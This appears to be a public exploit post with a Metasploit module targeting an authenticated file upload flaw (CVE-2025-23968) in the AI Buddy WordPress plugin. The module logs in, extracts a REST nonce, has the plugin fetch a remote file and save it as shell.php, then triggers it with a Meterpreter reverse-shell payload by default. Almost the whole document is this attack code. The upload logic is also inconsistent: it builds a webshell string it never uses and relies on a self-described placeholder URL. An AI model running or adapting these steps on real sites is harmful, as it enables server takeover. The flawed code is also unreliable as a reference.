📄 WordPress AI Buddy 1.8.5 Shell Upload

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    | # Title     : AI Buddy WordPress plugin 1.8.5 Universal RCE Exploit Module                                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://ai.cibeles.net/                                                                                                     |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/210977/ & 	CVE-2025-23968
    
    [+] Summary : 
              
              This module exploits an authenticated arbitrary file upload vulnerability in the
              AI Buddy WordPress plugin (<= 1.8.5). The vulnerability allows authenticated attackers
              to upload PHP webshells via the REST API attachment functionality
    [+] POC :  
    
    use exploit/multi/http/wp_ai_buddy_rce
    
    set RHOSTS target.com
    
    set USERNAME admin
    
    set PASSWORD password123
    
    exploit
    
    ##
    # AI Buddy Authenticated RCE Module
    # module for AI Buddy which requires authentication
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Wordpress
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress AI Buddy Authenticated RCE',
            'Description' => %q{
              This module exploits an authenticated arbitrary file upload vulnerability in the
              AI Buddy WordPress plugin (<= 1.8.5). The vulnerability allows authenticated attackers
              to upload PHP webshells via the REST API attachment functionality.
            },
            'Author' => [
              'indoushka', # Metasploit module
              'Ryan Kozak' # Original discovery
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-23968'],
              ['URL', 'https://wpcenter.io/'],
              ['WPVDB', '281518ff-7816-4007-b712-63aed7828b34']
            ],
            'Platform' => ['php'],
            'Arch' => [ARCH_PHP],
            'Targets' => [['Universal', {}]],
            'DisclosureDate' => '2025-11-27',
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'SSL' => false,
              'PAYLOAD' => 'php/meterpreter/reverse_tcp'
            },
            'Privileged' => false,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
          OptString.new('USERNAME', [true, 'WordPress username']),
          OptString.new('PASSWORD', [true, 'WordPress password'])
        ])
      end
    
      def check
        return CheckCode::Unknown('Could not connect to target') unless wordpress_and_online?
    
        check_code = check_plugin_version_from_readme('ai-buddy', '1.8.6')
        
        if check_code.code == 'appears'
          return CheckCode::Appears("Vulnerable AI Buddy version detected: #{check_code.details[:version]}")
        end
    
        CheckCode::Safe('AI Buddy not detected or version not vulnerable')
      end
    
      def exploit
        # Login to WordPress
        print_status("Authenticating with WordPress...")
        
        cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
        unless cookie
          fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress')
        end
    
        print_good("Successfully authenticated")
    
        # Extract AI Buddy nonce
        nonce = extract_ai_buddy_nonce(cookie)
        unless nonce
          fail_with(Failure::Unknown, 'Could not extract AI Buddy nonce')
        end
    
        print_good("Extracted nonce: #{nonce}")
    
        # Upload webshell via REST API
        upload_webshell(cookie, nonce)
      end
    
      def extract_ai_buddy_nonce(cookie)
        print_status("Extracting AI Buddy nonce...")
        
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'wp-admin', 'tools.php'),
          'method' => 'GET',
          'cookie' => cookie
        })
    
        unless res
          fail_with(Failure::Unreachable, 'Could not access tools.php')
        end
    
        # Extract nonce from JavaScript
        if res.body =~ /var ai_buddy_localized_data = ({.*?});/m
          json_data = JSON.parse($1)
          return json_data['ai_buddy_image_post_attachment']['nonce']
        end
    
        nil
      end
    
      def upload_webshell(cookie, nonce)
        print_status("Uploading webshell via AI Buddy REST API...")
    
        php_payload = payload.encoded
        
        # For AI Buddy, we use a different approach since it fetches from URLs
        # We'll create a simple PHP file that includes our payload
        webshell_content = "<?php #{php_payload} ?>"
    
        # Note: In practice, you'd need to host this file somewhere accessible
        # For the module, we'll use a placeholder approach
        payload_data = {
          'title' => 'Exploit',
          'caption' => 'Test',
          'alt' => 'Test', 
          'description' => 'Test',
          'url' => 'https://raw.githubusercontent.com/d0n601/d0n601/refs/heads/master/test.jpg',
          'filename' => 'shell.php'
        }
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'wp-json', 'ai-buddy', 'v1', 'wp', 'attachments'),
          'method' => 'POST',
          'cookie' => cookie,
          'headers' => {
            'X-Wp-Nonce' => nonce,
            'Content-Type' => 'application/json'
          },
          'data' => JSON.generate(payload_data)
        })
    
        unless res
          fail_with(Failure::Unreachable, 'No response from REST API')
        end
    
        if res.code == 200 && res.body.include?('success')
          print_good("Webshell uploaded successfully")
          
          # Trigger the payload
          current_year = Time.now.year
          current_month = Time.now.month.to_s.rjust(2, '0')
          shell_url = "/wp-content/uploads/#{current_year}/#{current_month}/shell.php"
          
          print_status("Triggering payload at #{shell_url}...")
          send_request_cgi({
            'uri' => normalize_uri(target_uri.path, shell_url),
            'method' => 'GET'
          }, 5)
    
        else
          print_error("Upload failed: #{res.body}")
        end
      end
    end
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================